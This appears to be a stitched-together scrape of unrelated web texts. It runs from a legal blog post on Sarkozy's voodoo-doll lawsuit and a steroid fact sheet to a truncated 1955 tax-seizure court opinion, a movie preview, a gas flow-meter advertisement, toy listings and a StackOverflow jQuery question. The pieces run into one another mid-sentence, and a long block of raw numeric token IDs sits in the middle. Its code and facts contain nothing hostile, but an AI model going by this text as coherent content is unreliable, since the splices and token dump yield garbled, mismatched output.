if the user believes that harm can result. But according to voodoo theory, the doll must be authentic and created especially to affect the victim. I don't think K&B intends these dolls to cause the President physical harm (and the President doesn't actually argue that), because there's no evidence that K&B believes that the dolls actually can cause him harm. These dolls are manufactured en masse, not prepared in the traditional voodoo way intended or aimed specifically at a victim. Does President Sarkozy himself really believe that someone could cause him physical harm through use of these dolls? Does he believe that someone could cause him spiritual harm? Does he believe in voodoo? Is he suggesting that K&B's purpose in selling the dolls is to encourage people to think about harming him, other than to make fun of him? Obviously not, since he hasn't alleged that. He's clearly not happy that the company has reproduced some of his comments (including "Get lost you pathetic a***hole" to a voter who didn't want to shake his hand). If that is the kind of harm he's complaining about, then perhaps politics isn't a good career for him, at least not in the U.S. Here, a court would probably not hear his complaint with much sympathy. "Generally speaking, the law does not regard the intent to inflict emotional distress as one which should receive much solicitude, and it is quite understandable that most, if not all, jurisdictions have chosen to make it civilly culpable where the conduct in question is sufficiently "outrageous." But in the world of debate about public affairs, many things done with motives that are less than admirable are protected by the First Amendment." Hustler v. Falwell, 485 U. S. 53 (1988). What a U.S. politician might argue is that the buyer of the doll (not K&B) might advocate actual (as opposed to dignitary) harm to the real person represented by the doll. But even so, the political figure would have to overcome the Brandenburg elements--advocacy, incitement, imminent harm--in order to overcome a First Amendment defense. That, in my opinion, is pretty difficult, when you're arguing that the instrumentality of harm is a voodoo doll, and even if you are arguing that the act itself--using the doll--could encourage a third pary to another, more physical act. I won't get into whether an unhappy buyer, having discovered that the voodoo doll actually doesn't work, has a claim against the manufacturer. Here's more on the Sarkozy lawsuit from the International Herald Tribune. Want to buy the Sarkozy doll and accompanying manual? It's available from Amazon France after December 15 (the site is sold out right now).Steroids (Anabolic-Androgenic) Facts Anabolic-androgenic steroids are man-made substances related to male sex hormones. "Anabolic" refers to muscle-building, and "androgenic" refers to increased masculine characteristics. "Steroids" refers to the class of drugs. These drugs are available legally only by prescription, to treat conditions that occur when the body produces abnormally low amounts of testosterone, such as delayed puberty and some types of impotence. They are also prescribed to treat body wasting in patients with AIDS and other diseases that result in loss of lean muscle mass. Abuse of anabolic steroids, however, can lead to serious health problems, some irreversible. Today, athletes and others abuse anabolic steroids to enhance performance and also to improve physical appearance. Anabolic steroids are taken orally or injected, typically in cycles of weeks or months (referred to as "cycling"), rather than continuously. Cycling involves taking multiple doses of steroids over a specific period of time, stopping for a period, and starting again. In addition, users often combine several different types of steroids to maximize their effectiveness while minimizing negative effects (referred to as "stacking"). 136 F.Supp. 862 (1955) Sidney SZERLIP, Plaintiff, v. Joseph P. MARCELLE, as Collector of Internal Revenue, Defendant. Civ. No. 11313. United States District Court E. D. New York. November 14, 1955. *863 Sidney Szerlip, Brooklyn, N. Y., pro se. Leonard P. Moore, U. S. Atty., Brooklyn, N. Y. (Elliott Kahaner, Asst. U. S. Atty., Brooklyn, N. Y., of counsel), for defendant. BRUCHHAUSEN, District Judge. The plaintiff moved for leave to file an amended complaint. He claims that certain office furniture was seized by the defendant, Collector of Internal Revenue, under a warrant of distraint, for the tax liability of one Moss Industries, Inc., and sold pursuant to said warrant before plaintiff, an attorney, having an office in tax debtor's plant, commenced this action by petition and order to show cause to stay the sale of such furniture, alleging that it was his property. Upon the return day of the order to show cause, the Court pointed out that it would be of no avail to issue a stay, since the property was already sold, but permitted the petition to be treated as a complaint in the action. An answer was filed and the action was noticed for trial. At a pretrial hearing, it became apparent that the complaint, seeking a stay, was improper. Plaintiff thereupon made this motion to amend his complaint, alleging the wrongful taking and praying for money damages for the value of the furniture. The government contends that claims against it are properly litigated in the Court of Claims. While it admits that the Federal District Courts have been given jurisdiction in certain actions involving internal revenue matters, it argues that this applies to taxpayers, whereas plaintiff asserts that he is not a taxpayer. It argues further that the Internal Revenue Code contains certain conditions with regard to suits by taxpayers, and that even if plaintiff be in that class, he has not complied with these regulations. Suits in the nature of replevin to restrain the Collector of Internal Revenue from selling property seized by him are brought in the District Courts under Title 28 U.S.C.A. § 2463 and prior statutes, declaring that property taken under the revenue laws is not repleviable but subject to the decrees of the courts of the United States having jurisdiction thereof. It is settled law that nondelinquent third-parties, whose property has been taken by the Collector of Internal Revenue for the tax liability of another, may maintain actions in the Federal District Courts under this section, to stay the sale thereof, without being bound by provisions of the Internal Revenue Code forbidding suits restraining the assessment of tax (now Sec. 7421 of the Internal Revenue Code of 1954, 26 U.S.C.A. § 7421). Long v. Rasmussen, *864 D.C.Mont., 281 F. 236; Rothensies v. Ullman, 3 Cir., 110 F.2d 590; Tomlinson v. Smith, 7 Cir., 128 F.2d 808; Raffaele v. Granger, 3 Cir., 196 F.2d 620. Suits against the Collector of Internal Revenue for money damages, usually as claims for tax refunds, are brought in the District Courts under Title 28 U.S.C.A. § 1340 and former similar statutes in the Judiciary Code, giving Federal District Courts jurisdiction of any civil action arising under an Act of Congress providing for internal revenue. Nondelinquent third-parties have been permitted to sue under this section where their interest is pecuniary rather than proprietory. Stuart v. Chinese Chamber of Commerce of Phoenix, 9 Cir., 168 F.2d 709; Colorado Milling & Elevator Co. v. Glenn, D.C.W.D.Ky., 118 F.Supp. 943; City of New York v. Evigo Corp., D.C. S.D.N.Y., 121 F.

[ 80, 2153, 13, 390, 12429, 12304, 251, 13, 390, 4931, 5171, 416, 7937, 15, 187, 187, 1989, 604, 16508, 24828, 33571, 67, 1417, 264, 3780, 643, 685, 30623, 72, 342, 33039, 27469, 566, 13, 352, 3164, 5082, 626, 320, 247, 1077, 4722, 6440, 15, 30623, 72, 556, 1160, 521, 14910, 4882, 33657, 952, 13, 432, 27700, 328, 273, 253, 16631, 281, 380, 3645, 434, 8072, 13, 533, 253, 5322, 5599, 12046, 344, 10316, 432, 581, 2199, 281, 253, 1735, 310, 2234, 15, 754, 14280, 2584, 4882, 11598, 14, 8777, 13, 533, 597, 1472, 6652, 494, 11598, 14, 8777, 15, 187, 187, 2598, 344, 434, 247, 2266, 1421, 323, 253, 6323, 3085, 407, 4200, 555, 13814, 10524, 365, 3558, 21638, 8302, 15, 496, 16508, 24828, 33571, 13, 30623, 72, 7120, 8872, 14, 84, 471, 9732, 26298, 13, 665, 310, 7169, 253, 3745, 281, 513, 428, 368, 30346, 352, 428, 2712, 407, 247, 7674, 267, 273, 28840, 313, 5711, 5491, 407, 8302, 285, 521, 7715, 8462, 394, 790, 13, 12284, 4031, 282, 13, 2516, 8148, 3248, 13, 21638, 443, 3370, 312, 13, 285, 6277, 49008, 10, 281, 11206, 7565, 434, 9447, 7574, 3396, 15, 1310, 26298, 4648, 616, 9140, 323, 1175, 13, 7565, 46046, 13, 533, 604, 344, 4648, 352, 323, 10319, 253, 8859, 591, 6419, 15, 187, 187, 998, 1582, 403, 1029, 13, 594, 10748, 26298, 564, 46627, 745, 285, 47048, 327, 521, 23535, 6346, 313, 47085, 17600, 968, 1079, 582, 4245, 2994, 247, 3511, 18400, 13, 285, 2789, 521, 4370, 2312, 15, 313, 510, 4370, 13, 26062, 13, 310, 39544, 407, 253, 3563, 22463, 8757, 275, 581, 273, 521, 2457, 9503, 2698, 187, 187, 324, 38207, 187, 187, 48462, 33571, 434, 19150, 556, 247, 3282, 273, 38550, 313, 9088, 434, 247, 5799, 50189, 73, 24736, 434, 16398, 281, 253, 20970, 45700, 281, 253, 20541, 10, 285, 9193, 28826, 13, 533, 627, 434, 247, 9023, 273, 1182, 1279, 22611, 1060, 281, 564, 2112, 342, 253, 34303, 5248, 15, 1310, 352, 4453, 4309, 13, 352, 9193, 642, 1679, 3698, 494, 15, 31019, 474, 21695, 32, 9368, 1024, 281, 3984, 3587, 281, 581, 273, 776, 18024, 19414, 13, 5803, 247, 1067, 4055, 15, 31938, 14, 24185, 14, 1237, 361, 6825, 323, 3277, 302, 318, 187, 187, 6739, 42, 20715, 19371, 3915, 2313, 187, 187, 6739, 42, 20715, 19371, 3915, 2313, 187, 187, 1267, 2313, 310, 271, 512, 14, 1826, 13, 8609, 15641, 4302, 3678, 2685, 21623, 326, 24772, 253, 954, 4735, 14, 285, 1159, 14, 6793, 23598, 342, 253, 4491, 434, 954, 7269, 2685, 13479, 281, 5115, 247, 7777, 1375, 14, 1171, 14, 783, 14, 21559, 2685, 1313, 2158, 2900, 323, 9787, 4870, 285, 4444, 4893, 15, 187, 187, 510, 3915, 2313, 2962, 26518, 310, 5061, 321, 47076, 275, 4804, 634, 1655, 285, 2852, 878, 323, 18012, 13, 1232, 1491, 285, 10924, 15, 12369, 634, 3453, 3198, 403, 5899, 577, 14, 938, 278, 34, 7370, 13, 4294, 16, 48241, 13, 13965, 774, 698, 390, 7269, 5865, 1685, 10924, 824, 347, 388, 5757, 13, 6807, 1673, 13097, 13, 41238, 5472, 3016, 13, 390, 4559, 13097, 13, 3915, 2313, 556, 368, 6107, 15, 3915, 2313, 434, 1685, 10924, 452, 644, 18065, 407, 285, 403, 9856, 4095, 342, 388, 5757, 285, 6807, 1673, 13097, 15, 496, 1635, 13, 49243, 12639, 313, 3442, 657, 582, 714, 536, 462, 11415, 285, 329, 10172, 313, 10695, 37582, 10, 452, 5762, 285, 16058, 3915, 2313, 12234, 8, 6807, 7327, 13097, 734, 2211, 1430, 342, 616, 2718, 15, 1737, 434, 625, 13, 943, 368, 2455, 878, 281, 1818, 390, 15047, 13, 3915, 2313, 476, 320, 11516, 281, 667, 273, 841, 18012, 342, 247, 2969, 3120, 1818, 13, 275, 253, 1673, 15, 3954, 326, 434, 3192, 1620, 40072, 281, 247, 2644, 747, 1268, 2, 187, 187, 5872, 627, 434, 3915, 2313, 434, 3148, 16, 1088, 483, 13, 534, 10316, 747, 4495, 281, 253, 1307, 1232, 1491, 15, 29574, 13, 253, 3915, 2313, 434, 29886, 3148, 3400, 253, 954, 11088, 1491, 327, 253, 1232, 6341, 285, 2515, 273, 667, 8609, 2685, 21623, 2130, 428, 923, 253, 3915, 2313, 2810, 14, 484, 3239, 323, 512, 253, 4278, 15, 187, 187, 1992, 3426, 253, 2900, 13, 3915, 2313, 2685, 3603, 285, 1232, 10291, 5416, 253, 1682, 1896, 6341, 285, 3576, 12692, 15, 401, 7142, 2685, 3284, 11809, 452, 644, 3962, 264, 285, 18325, 949, 2800, 8007, 273, 416, 7, 37, 285, 1524, 1533, 2793, 275, 8609, 15641, 4302, 285, 2685, 1313, 2158, 4893, 15, 2726, 8609, 15641, 627, 403, 642, 4886, 4243, 281, 27358, 390, 43848, 15, 831, 1543, 275, 253, 6459, 13367, 285, 9865, 16347, 327, 9363, 15, 187, 187, 29760, 2380, 13, 7200, 13, 10280, 1430, 285, 1048, 14, 8206, 403, 7423, 17144, 273, 401, 7142, 2685, 3603, 2130, 342, 3915, 2313, 15, 1244, 13, 512, 747, 403, 253, 3915, 49, 3210, 13, 534, 823, 3473, 6814, 15, 7532, 2685, 13, 3276, 285, 3473, 275, 247, 2014, 13341, 14, 3659, 8609, 15641, 21623, 2866, 743, 4491, 806, 285, 401, 7142, 11855, 2, 2635, 13, 1908, 643, 3915, 2313, 12234, 46853, 1644, 751, 8746, 14, 10531, 10499, 2718, 285, 401, 7142, 457, 84, 44214, 7188, 74, 4218, 4500, 326, 3400, 1534, 2105, 285, 673, 16347, 407, 9591, 7870, 18543, 21999, 275, 14, 12198, 86, 13, 1293, 2455, 11922, 253, 7935, 432, 253, 1232, 15, 1916, 5416, 1097, 11990, 273, 12692, 285, 247, 3761, 342, 634, 1232, 2515, 13, 3915, 2313, 6131, 247, 11088, 5438, 273, 1232, 10291, 285, 12692, 4610, 15, 11387, 322, 3485, 24907, 423, 10223, 1916, 656, 323, 495, 10519, 8937, 84, 187, 187, 6872, 403, 253, 9872, 322, 3485, 24907, 423, 10223, 1916, 656, 323, 495, 10519, 8937, 84, 964, 2058, 299, 14844, 43222, 359, 5206, 253, 1682, 16743, 24907, 423, 10223, 1916, 656, 964, 3824, 2285, 273, 1429, 14, 16217, 1641, 2278, 285, 1071, 6763, 273, 24907, 423, 10223, 1916, 656, 964, 2635, 13, 597, 3761, 1046, 5382, 281, 253, 3745, 273, 495, 10519, 8937, 84, 15, 733, 434, 984, 273, 436, 1232, 326, 359, 387, 299, 14844, 43222, 476, 12215, 247, 1429, 434, 794, 15, 187, 187, 38, 14844, 43222, 367, 5519, 187, 187, 6872, 403, 776, 401, 5851, 1372, 1433, 1410, 15, 2726, 594, 1142, 281, 5206, 432, 13, 359, 3078, 281, 1918, 247, 1133, 281, 1361, 368, 1089, 253, 7880, 4484, 383, 23908, 327, 253, 2670, 15, 1876, 444, 14844, 43222, 367, 5519, 19167, 187, 187, 688, 10811, 495, 8442, 27, 367, 14806, 353, 609, 13, 367, 14806, 36414, 267, 322, 1807, 1981, 285, 367, 14806, 36414, 267, 15, 37351, 670, 367, 565, 375, 27, 428, 3973, 13, 247, 367, 14806, 310, 417, 247, 21876, 273, 12074, 13, 352, 310, 247, 3295, 14, 17523, 326, 2789, 247, 367, 14806, 15, 428, 329, 367, 14806, 8815, 556, 247, 11959, 3346, 187, 187, 1552, 12556, 310, 275, 253, 5281, 273, 253, 11573, 308, 13972, 2434, 3847, 28424, 365, 2, 14, 6495, 323, 327, 253, 564, 794, 2, 428, 7489, 7123, 281, 12394, 275, 285, 562, 15, 428, 46085, 12045, 264, 25284, 323, 3158, 873, 598, 15, 428, 496, 10811, 247, 23367, 11712, 8785, 1083, 323, 1842, 1051, 187, 187, 6180, 7408, 281, 253, 41089, 2, 14, 1876, 253, 1652, 6858, 5074, 275, 253, 7590, 1076, 41089, 878, 247, 2257, 273, 14510, 18248, 1557, 15, 428, 1583, 878, 5352, 2739, 285, 1824, 285, 247, 2257, 273, 2389, 327, 247, 3963, 3720, 15, 428, 6618, 3797, 247, 25852, 659, 1051, 187, 187, 22246, 476, 37431, 13, 10507, 13, 285, 1132, 275, 11553, 10223, 308, 290, 434, 9985, 14, 5072, 308, 35989, 15, 428, 2058, 721, 4669, 1048, 285, 655, 13048, 4618, 13, 253, 16583, 6131, 9828, 273, 2317, 323, 5753, 281, 1132, 8634, 380, 9985, 3189, 308, 35989, 310, 8521, 3346, 187, 187, 1552, 546, 348, 9581, 33784, 27768, 310, 3962, 323, 634, 4980, 33784, 15, 657, 2560, 386, 8090, 273, 13037, 2602, 246, 24533, 403, 6699, 342, 247, 2206, 249, 28865, 285, 6026, 3962, 323, 634, 1652, 42994, 15, 6618, 3797, 247, 11038, 2963, 1171, 1051, 187, 187, 3726, 1472, 512, 253, 22324, 15, 10215, 441, 15, 428, 1176, 6628, 342, 884, 11936, 731, 264, 2827, 39053, 275, 247, 5718, 3817, 964, 1384, 1027, 3295, 47603, 15, 428, 25173, 309, 88, 18956, 14902, 12610, 444, 6230, 398, 428, 23089, 275, 4047, 8634, 2896, 253, 1039, 13, 368, 778, 971, 281, 755, 247, 1643, 1051, 187, 187, 3726, 1472, 512, 253, 22324, 15, 10215, 441, 15, 428, 1176, 6628, 342, 818, 11936, 380, 1314, 743, 1468, 267, 2827, 39053, 327, 247, 3120, 15, 1638, 1027, 3295, 47603, 15, 428, 25173, 309, 88, 18956, 14902, 12610, 444, 6230, 398, 428, 23089, 275, 4047, 8634, 2896, 253, 1039, 13, 368, 778, 971, 281, 755, 247, 1643, 2391, 187, 187, 1552, 5389, 22802, 8815, 4453, 816, 751, 352, 588, 6923, 253, 29418, 667, 7017, 2, 14, 6618, 3797, 8516, 8815, 275, 247, 22802, 16753, 14, 329, 30340, 275, 7619, 486, 12317, 14, 374, 19354, 7437, 285, 495, 29418, 15, 9817, 24907, 423, 10223, 1916, 656, 1051, 187, 187, 34, 1524, 11320, 6135, 13, 703, 310, 1355, 285, 1077, 28441, 15, 28127, 281, 14518, 275, 634, 7351, 390, 2143, 7351, 13, 368, 476, 1379, 617, 20312, 368, 564, 285, 4822, 2, 496, 617, 42742, 14863, 7619, 13, 703, 4453, 594, 20295, 15, 39914, 342, 362, 1051, 187, 187, 19735, 49301, 2872, 44267, 253, 2097, 281, 3989, 616, 1211, 7863, 44969, 24244, 14, 14947, 342, 253, 13119, 686, 79, 10223, 25418, 8072, 1417, 16790, 873, 407, 44969, 2071, 24560, 15, 428, 380, 5718, 6985, 310, 247, 41789, 285, 24783, 523, 2284, 1051, 187, 187, 44, 2352, 476, 2554, 14, 1993, 616, 1039, 281, 247, 5875, 14898, 342, 436, 11281, 2120, 273, 5825, 902, 784, 11484, 4610, 15, 23089, 281, 1007, 816, 751, 253, 1524, 2968, 13, 436, 15958, 873, 3797, 22314, 247, 11281, 2120, 273, 5875, 298, 7157, 1051, 50, 27, 187, 187, 43, 7267, 1159, 760, 42506, 2378, 32, 187, 187, 42, 1353, 2820, 281, 13194, 619, 500, 7267, 594, 326, 253, 2829, 588, 755, 9300, 1046, 673, 253, 6409, 310, 13661, 15, 187, 2566, 15, 5581, 187, 14277, 5581, 187, 50274, 15684, 686, 24827, 15, 5581, 5618, 187, 28391, 187, 14219, 11685, 608, 16204, 6781, 187, 30952, 32735, 14271, 31, 187, 29, 2974, 31, 187, 50274, 29, 2522, 31, 187, 50270, 29, 13518, 29308, 568, 17880, 14, 25, 3, 4725, 187, 50270, 29, 5564, 31, 39, 15575, 9497, 21328, 9175, 23610, 870, 5564, 31, 187, 50270, 29, 13518, 1416, 568, 1374, 631, 3, 2600, 568, 3429, 30, 10933, 14, 3429, 13, 3302, 14, 7527, 30, 18, 1138, 187, 50270, 29, 4492, 774, 568, 23745, 3, 1511, 568, 1156, 16, 9016, 3, 3420, 568, 14396, 3, 3860, 568, 4826, 15, 9016, 3, 4725, 187, 50270, 14219, 19386, 20378, 6781, 187, 50270, 29, 3866, 187, 50266, 7614, 568, 3614, 1358, 3211, 15, 19203, 15, 681, 16, 19203, 14, 20, 15, 21, 15, 18, 15, 1222, 15, 4305, 3, 187, 50266, 13897, 414, 568, 20409, 9726, 14, 5166, 57, 263, 57, 87, 59, 68, 53, 4530, 895, 23, 58, 5711, 23, 41, 377, 68, 59, 3633, 67, 58, 24580, 10930, 6623, 35, 88, 25, 41, 71, 36, 13117, 568, 187, 50266, 16599, 27422, 568, 266, 10598, 1138, 187, 50270, 870, 3866, 31, 535, 50270, 29, 3866, 31, 187, 50266, 605, 19386, 2127, 187, 50266, 605, 19386, 2127, 2130, 846, 253, 3239, 556, 4751, 10607, 187, 50266, 6999, 3306, 481, 2038, 9, 3701, 14574, 187, 50262, 2044, 2654, 426, 470, 28, 187, 50262, 2044, 3708, 426, 686, 16306, 5618, 535, 50262, 6999, 1381, 8060, 6788, 9738, 9, 3701, 14574, 187, 50258, 301, 426, 3019, 2520, 481, 8560, 1587, 301, 3287, 187, 50258, 22452, 15, 2808, 2073, 8060, 686, 559, 2654, 559, 686, 13661, 5137, 535, 50258, 338, 3914, 9, 2520, 481, 8560, 2073, 2877, 3401, 2295, 686, 1139, 8, 910, 187, 50254, 8581, 426, 686, 18036, 5618, 187, 50258, 94, 7271, 92, 187, 50254, 8581, 426, 686, 1139, 5618, 187, 50258, 94, 535, 50258, 605, 3301, 2829, 342, 9300, 2193, 187, 50258, 5, 30932, 30892, 18, 8539, 2799, 1587, 11183, 14, 1070, 15, 5581, 995, 551, 187, 50254, 301, 27, 2654, 13, 187, 50254, 8581, 27, 3708, 187, 50258, 2023, 1159, 14574, 187, 50254, 22452, 15, 2808, 2073, 2420, 10607, 5137, 187, 50258, 9897, 187, 50262, 9897, 50270, 187, 50266, 9897, 187, 50270, 870, 3866, 31, 187 ]

ooney, or Matt Damon, or perhaps Paul Rudd. But if Absolutely Anythingblessed anyone other than Pegg with omnipotence, it probably wouldn't be a very interesting movie. Pegg has made his bones playing flawed people, from Shaun of the Dead to The World's End, but the nice guy attitude he brings from one project to the next is key. He tends toward playing screw-ups, but they're lovable screw-ups. So he's a strong lead for the latest film by Monty Python troupe member Terry Jones. In Absolutely Anything, Pegg plays sad-sack teacher Neil, who is granted the ability to do - you guessed it - anything by a cabal of aliens (voiced by Jones and his fellow Pythons, Eric Idle, John Cleese, Terry Gilliam, and Michael Palin) to gauge Earth's moral fortitude. If Neil uses their gift for good, Earth survives, but if he uses it for evil the planet perishes. Stakes are high, so naturally Neil goofs off and spies on his gorgeous neighbor (Kate Beckinsale), gives himself a hot bod, and makes his dog talk. (The dog, Dennis, is voiced by the late Robin Williams in one of his final roles.) advertising Absolutely Anything's trailer has a sense of familiarity (there's a distinct Hitchhiker's Guide to the Galaxy vibe to the footage) and feels predictable, but there's a promise of zany charm here to go along with the terrific cast. If it looks derivative, it feels no less watchable.Technical Help? Call now to speak directly to one of our skilled engineers, NOT a call center. 410-666-3200Request for Quotation FCI Fast Response ST100 FCI Fast Response ST100 ST100 is an all-new, thermal dispersion technology gas flow meter that combines the most feature- and function- rich electronics with the industry's most advanced flow sensors to achieve a truly state-of-the-science flow metering solution for industrial processes and plant applications. The ST100 series transmitter is unsurpassed in meeting your current and future need for outputs, process information and communications. Whether your output needs are traditional 4-20 mA analog, frequency/pulse, alarm relays or advanced digital bus communications such as HART, Foundation fieldbus, PROFIBUS, or Modbus, ST100 has you covered. ST100's bus communications have been certified by and are registered devices with HART and Foundation fieldbus. In addition, Emerson Process (Delta V), Yokogawa and ABB (800xA) have tested and verified ST100 Series' Foundation Fieldbus interoperability with their systems. What's more, should you ever need to change or upgrade, ST100 can be converted to any of these outputs with a simple card change, in the field. Now that's taking never obsolete to a whole new level! Then there's ST100's display/readout, which brings new meaning to the term process information. Simply, the ST100's graphical display provides the most comprehensive information on the process measurements and conditions of any thermal flow meter available - see the ST100 close-up page for all the details. To complete the solution, ST100 flow elements and process connections ensure the best possible measurements and effective installation. FCI flow element designs have been perfected and optimized through six decades of R&D and real world experience in thermal dispersion technology and flow metering applications. With thermal dispersion there are no moving parts to foul or clog. This results in the greatest reliability and valuable savings on maintenance. Fast response, accuracy, repeatability and long-life are hallmarks of FCI flow elements available with ST100. And, all new are the STP models, which add pressure measurement. Mass flow, temperature and pressure in a single tap-point thermal dispersion meter… An industry first and FCI exclusive! Then, consider other ST100 Series exclusives like dual-element measuring systems and FCI’s patented VeriCal option that provides significant cost and time savings by performing dynamic calibration verification in-situ, without ever removing the instrument from the process. To ensure both ease of installation and a match with your process conditions, ST100 offers a comprehensive selection of process connections and installation options.Top Selling Pretend Play Toys for 3 Year Olds These are the Top Selling Pretend Play Toys for 3 Year Olds. At ebeanstalk we choose the best developmental Pretend Play Toys. Our team of child-experts review and test thousands of Pretend Play Toys. Then, they match every item to the ability of 3 Year Olds. It's because of this process that we at ebeanstalk can guarantee a child's fun. Ebeanstalk Picks These are our FAVORITES. With so many to choose from, we wanted to give a hand to help you find the absolute coolest toys on the site. All Ebeanstalk Picks → Includes 3 figures: Pinto Mare, Pinto Foal Suckling and Pinto Foal. Facts about Pintos: - First, a Pinto is not a breed of horses, it is a color-pattern that makes a Pinto. - A Pinto horse has a coat... This tent is in the shape of the Little Tikes Cozy Coupe!- Great for on the go fun! - Open sides to climb in and out. - Shock corded poles for quick set up. - Includes a zippered carrying case for eas... Field trip to the zoo!- All the little baby animals in the petting zoo need a lot of tender loving care. - They need fresh food and water and a lot of love on a regular basis. - Set includes a Lamb St... Children can crawl, hide, and play in Pacific Play Tent's Find-Me Tunnel. - At 6 feet long and 19 inches wide, the tunnel offers plenty of space for kids to play.- The Find Me Tunnel is recommended... This enchanted fairy skirt is perfect for your modern fairy. Vibrant layers of gathered soft tulle are finished with a satin ribbon and bow perfect for your little sprite. Set includes a matching poof... They're all the rage. Trust us. - Comses with 10 Sea themed erasers in a storage box. 20 different color mixes. - Original Iwako Puzzle Erasers - Made in Japan.- By the way, you may want to get a few... They're all the rage. Trust us. - Comses with 7 Sea Themed Anaimal erasers on a card. 14 different color mixes. - Original Iwako Puzzle Erasers - Made in Japan.- By the way, you may want to get a few.... This beautiful jumping horse looks just like it will jump the rails any minute!- Set includes brown horse in a jumping pose- A rider in dressage gear- 2 fence pieces and 3 rails.Like Pretend Play Toys... A real pocket doll, she is small and very lightweight. Easy to slide in your bag or school bag, you can take her wherever you go and collect! In her adorable pink dress, she looks so cute. Doll with v... Give budding young builders the means to construct their own massive Mega Mini-World with the Create 'n Play Junior Endless Building set by Mega Bloks. - The storage tub is a sturdy and handy contai... Kids can role-play their way to a healthy lifestyle with this basket full of nutritious meal options. Made to look just like the real deal, this realistic set includes:- a basket full of healthy lunc...Q: Jquery function only executes once? I'm trying to execute my Jquery so that the table will get updated every time the button is pressed. test.php <?php require'mysql.php'; ?>  <!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>FYP LoRa Control Panel</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" type="text/css" media="screen" href="style.css" />  <script src="https://code.jquery.com/jquery-3.4.1.min.js" integrity="sha256-CSXorXvZcTkaix6Yvo6HppcZGetbYMGWSFlBw8HfCJo=" crossorigin="anonymous"> </script> <script> // jQuery code // jQuery code available after the page has fully loaded $(document).ready(function(){ var id = 0; var status = 'temp'; $(":button").click(function(){ id = $(this).prop("id"); console.log('button'+ id +'pressed'); if($(this).prop('value') == 'ON'){ status = 'OFF'; }else{ status = 'ON'; } // load table with updated values $('#tbody1').load("update-led.php", { id: id, status: status }, function(){ console.log('table loaded'); }); }); }); </script>